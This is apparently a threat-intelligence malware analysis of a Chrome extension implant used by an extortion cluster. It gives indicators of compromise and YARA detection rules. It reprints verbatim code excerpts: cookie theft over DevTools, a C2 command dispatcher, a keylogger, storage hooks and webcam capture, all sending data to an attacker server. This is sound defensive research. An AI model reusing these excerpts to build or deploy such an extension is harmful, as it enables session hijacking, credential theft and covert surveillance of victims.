UNC6671 is an extortion-focused cluster tracked operating under the BlackFile brand. Its usual opening is high-volume voice phishing: an operator impersonates IT support while steering the victim through a tailored SSO flow and harvesting credentials and authentication state in real time. The stolen cloud access is then used to collect data from SaaS environments and support a theft-and-leak extortion demand. This extension is one component of that broader kit, not the entire intrusion. Google Threat Intelligence Group documents the cluster’s vishing and SSO-compromise playbook.
oskeysetup[.]com was already public. Arctic Wolf listed it as an adversary-in-the-middle lure in reporting on activity overlapping UNC6671. What had not been described was another artifact linked to the same infrastructure: a Chrome extension that gives an operator a persistent seat inside the victim’s authenticated browser.
What the implant enables
- Interactive control: view tabs, navigate, click, type, scroll, evaluate JavaScript, take screenshots, and trigger downloads inside an authenticated browser.
- Session theft: read the complete cookie store through Chrome DevTools, including
HttpOnlycookies, and package browser state for exfiltration. - Continuous input capture: keylog every HTTP and HTTPS frame, record pasted text, and retain buffered input across navigation.
- Application-data theft: collect local storage, session storage, and IndexedDB content from sites the victim uses.
- MFA-secret collection: decode QR codes rendered in pages and capture camera frames. In this campaign context, TOTP enrollment secrets are a likely target.
- Local concealment: replace the visible browser with an opaque, cursorless blackout page while remote activity continues.
For UNC6671, the likely uses are assisting a live vishing call, taking over an already authenticated SaaS session, collecting data through the victim’s existing access, and preserving material needed to regain access later. Those roles are inferred from the code and the campaign’s established workflow; operator tasking was not recovered.
UNC6671 steers a victim from an IT-helpdesk vishing call to a tailored SSO lure, an authenticated browser session, SaaS data collection, and data-theft extortion. The browser implant operates inside the authenticated session and provides cookie and storage collection, input and QR capture, and interactive DevTools control that can support access and collection.
I recovered packaged builds 1.6.111 and 1.6.112 and analyzed them statically—never loaded into Chrome and never connected to their C2. The excerpts below preserve the original statements and values; surrounding branches and error handling are omitted for length.
The manifest grants reach and control
The extension calls itself Google Chrome, uses Chrome-style icons, and embeds the signing key that produces extension ID lbakgdabeflabhecgpegbcncjhpbdhgc. Its manifest combines broad page access with the DevTools Protocol:
{
"permissions": [
"cookies", "tabs", "windows", "system.display", "debugger", "alarms",
"webNavigation", "storage", "scripting", "history", "clipboardRead",
"clipboardWrite", "offscreen", "downloads"
],
"host_permissions": ["<all_urls>", "https://oskeysetup.com/*"],
"content_scripts": [
{
"matches": ["http://*/*", "https://*/*"],
"js": ["keylog.js"],
"run_at": "document_start",
"all_frames": true
}
]
}
<all_urls> supplies reach. debugger supplies the operator seat: version 1.6.112 has 41 chrome.debugger call sites for network access, JavaScript evaluation, screenshots, and synthetic input.
Cookie collection attaches CDP to a tab, enables the Network domain, and asks for the complete store:
await withTimeout(chrome.debugger.attach({ tabId }, "1.3"), 4000);
await withTimeout(
chrome.debugger.sendCommand({ tabId }, "Network.enable"),
3000
);
const all = await withTimeout(
chrome.debugger.sendCommand({ tabId }, "Network.getAllCookies"),
8000
);
cookies = Array.isArray(all?.cookies) ? all.cookies : [];
HttpOnly protects cookies from page JavaScript, not from a privileged extension API. The more consequential CDP calls are Runtime.evaluate, Input.dispatchKeyEvent, and Input.dispatchMouseEvent: they act inside tabs that already carry the user’s sessions.
The C2 sends browser operations
The service worker continuously asks /api/remote/pending for commands, including identifying data about the implant and browser:
const qs = new URLSearchParams({
wait: remoteCtl.live ? "3500" : "10000",
agentId: meta.agentId,
ip: meta.ip || "",
browser: meta.browser || "",
ua: meta.userAgent || "",
});
const res = await serverFetch(`${REMOTE_PENDING_URL}?${qs}`);
const data = await res.json();
const cmds = Array.isArray(data.commands) ? data.commands : [];
Those commands enter a literal dispatcher. A shortened, otherwise verbatim section shows the model:
switch (type) {
case "navigate":
await remoteNavigate(payload.url);
break;
case "click":
await remoteClick(payload.x, payload.y, payload.button || "left");
break;
case "type":
await remoteType(payload.text);
break;
case "setClipboard":
await remoteSetClipboard(payload.text);
break;
case "cameraStart":
await cameraStart(payload);
break;
case "dumpSession":
case "dumpCookies":
await dumpFullSession(type);
break;
// openTab, switchTab, screenshot, scroll, key, downloadFile, forceUpdate …
}
Frames return over /api/remote/frame.bin. This is a browser-scoped RAT, not just automated collection: the operator can see a tab, click through it, type, use the clipboard, open other sites, and dump the session. blackout.html supplies an opaque full-screen page with the cursor hidden, apparently to conceal activity locally.
The keylogger is built to survive navigation
keylog.js starts in every HTTP and HTTPS frame at document_start. Its thresholds are explicit:
const FLUSH_KEYS = 10;
const INACTIVITY_MS = 5000;
const MAX_CHUNK = 8000;
const MAX_PASTE = 2000;
const STORAGE_KEY = "__cookie_audit_keylog_buf";
function persistBuffer() {
try {
if (buffer) sessionStorage.setItem(STORAGE_KEY, buffer);
else sessionStorage.removeItem(STORAGE_KEY);
} catch {}
}
document.addEventListener("keydown", (e) => {
if (e.isComposing) return;
const token = formatKey(e);
if (token) enqueue(token);
}, true);
document.addEventListener("paste", (e) => {
const text = e.clipboardData?.getData("text/plain") || "";
enqueue(`[PASTE]${truncateClip(text)}[/PASTE]`, { interaction: true });
}, true);
Persistence in the page’s sessionStorage prevents pending text from disappearing during navigation. Flushes are relayed to /api/keylog. The scope is the whole browsing session: credentials, documents, chat, and password-manager pastes are all in range.
Storage and camera collection run beside it
The extension injects page-hook.js into page context and replaces the real Storage methods. Every mutation triggers a complete dump, not just the changed key:
const proto = Storage.prototype;
const rawSetItem = proto.setItem;
const rawRemoveItem = proto.removeItem;
proto.setItem = function (key, value) {
const result = rawSetItem.apply(this, arguments);
notify("setItem");
return result;
};
proto.removeItem = function (key) {
const result = rawRemoveItem.apply(this, arguments);
notify("removeItem");
return result;
};
Build 1.6.112 adds an IndexedDB walker. It enumerates up to 20 databases, 30 stores per database, and 100 rows per store, then serializes objects, typed arrays, and ArrayBuffers before sending the snapshot as webStorage.
Camera capture uses a hidden page and an ordinary media stream:
stream = await navigator.mediaDevices.getUserMedia({
audio: false,
video: { facingMode: "user", width: { ideal: 1280 }, height: { ideal: 720 } },
});
video.srcObject = stream;
await video.play();
timer = setInterval(capture, 400);
canvas.toBlob((blob) => {
blob.arrayBuffer().then((buf) => {
chrome.runtime.sendMessage({
type: "cameraFrame",
mime: "image/jpeg",
buffer: Array.from(new Uint8Array(buf)),
});
});
}, "image/jpeg", 0.62);
That is a JPEG frame every 400 ms at quality 0.62, uploaded by the worker to /api/remote/camera.bin. A separate jsQR content script scans images, canvases, and video in every frame and posts decoded values to /api/qr. In an MFA-enrollment campaign, authenticator QR secrets are an obvious target, although that targeting remains an inference from context.
IOC dump
- C2:
oskeysetup[.]com,itkeyenroll[.]com,31.42.184[.]213 - Extension ID:
lbakgdabeflabhecgpegbcncjhpbdhgc - API key:
41f9c6be712288e359fce518e3d7df02efb9506b7718886d - CRX
1.6.112:930898e8b65e9cf4e2595ac4092042a707cca8922751e723ad8b86260655154a - ZIP
1.6.111:ea8d30c42e758559e78bd1fe97f8849011beb7f24c7f092a066a5a62fa7fbe6f - Earlier loose files:
f5d0ce71d92f44162cf033c1778016167dd6e71990037ad7248037f179a79958,8718fac3772af7c3d288b0c2ee4f520e89bdfa42c2050bb5adffb02a336d0d90 - Build-specific workers:
6d41217e0accda48cedf88f5e43dc096a928f308f7134b53e0c879b449bad419(background.js,1.6.111),d31ebf24dc07757fc6737acc7a03f250d522e6d1acea4078325bc278ef07806b(background.js,1.6.112) - Stable component hashes:
544df06ec79533206db4f319d877dd84e40d7228f65088452623fa8447906a82(keylog.js),4a50bfb9a78e1de77c5563360fdb5df1c7318c8d8e92b7a6f0761e2eba064082(page-hook.js),b43c7b0dacd8152a03b672b9f2af7f4dceca73a114f1298c1cec3a95c764e333(qr-scan.js),8de98726280e7b5877759b9b80ad40e45d887ce77689d996489ef70e24c14c4a(config.js) - C2 paths:
/api/remote/pending,/api/remote/frame.bin,/api/remote/camera.bin,/api/remote/clipboard,/api/keylog,/api/qr
YARA rules
private rule crx_container
{
condition:
uint32be(0) == 0x43723234
}
rule UNC6671_BrowserRAT_Packed_CRX_Key
{
meta:
date = "2026-09-10"
description = "UNC6671 browser implant identified by its CRX signing key"
extension_id = "lbakgdabeflabhecgpegbcncjhpbdhgc"
strings:
$modulus = { cf a3 83 9e 7b ce b3 81 3f af ea 92 8a fb 9d 59
ed 2b a1 eb 65 4f a1 80 88 c1 7c 59 ac 47 76 7e }
condition:
crx_container and $modulus in (0..4096)
}
rule UNC6671_BrowserRAT_Unpacked_Components
{
meta:
date = "2026-09-10"
description = "UNC6671 browser implant markers in unpacked extension files"
strings:
$m1 = "__cookieAuditKeylogInstalled" ascii
$m2 = "__cookie_audit_keylog_buf" ascii
$m3 = "__COOKIE_AUDIT_STORAGE__" ascii
$m4 = "__cookieAuditStorageHook" ascii
$m5 = "__cookieAuditQrScan" ascii
$m6 = "__COOKIE_AUDIT_CAMERA__" ascii
$p1 = "/api/remote/pending" ascii
$p2 = "/api/remote/frame.bin" ascii
$p3 = "/api/remote/camera.bin" ascii
$p4 = "/api/remote/clipboard" ascii
$p5 = "/api/keylog" ascii
$p6 = "/api/qr" ascii
condition:
2 of ($m*) or 3 of ($p*)
}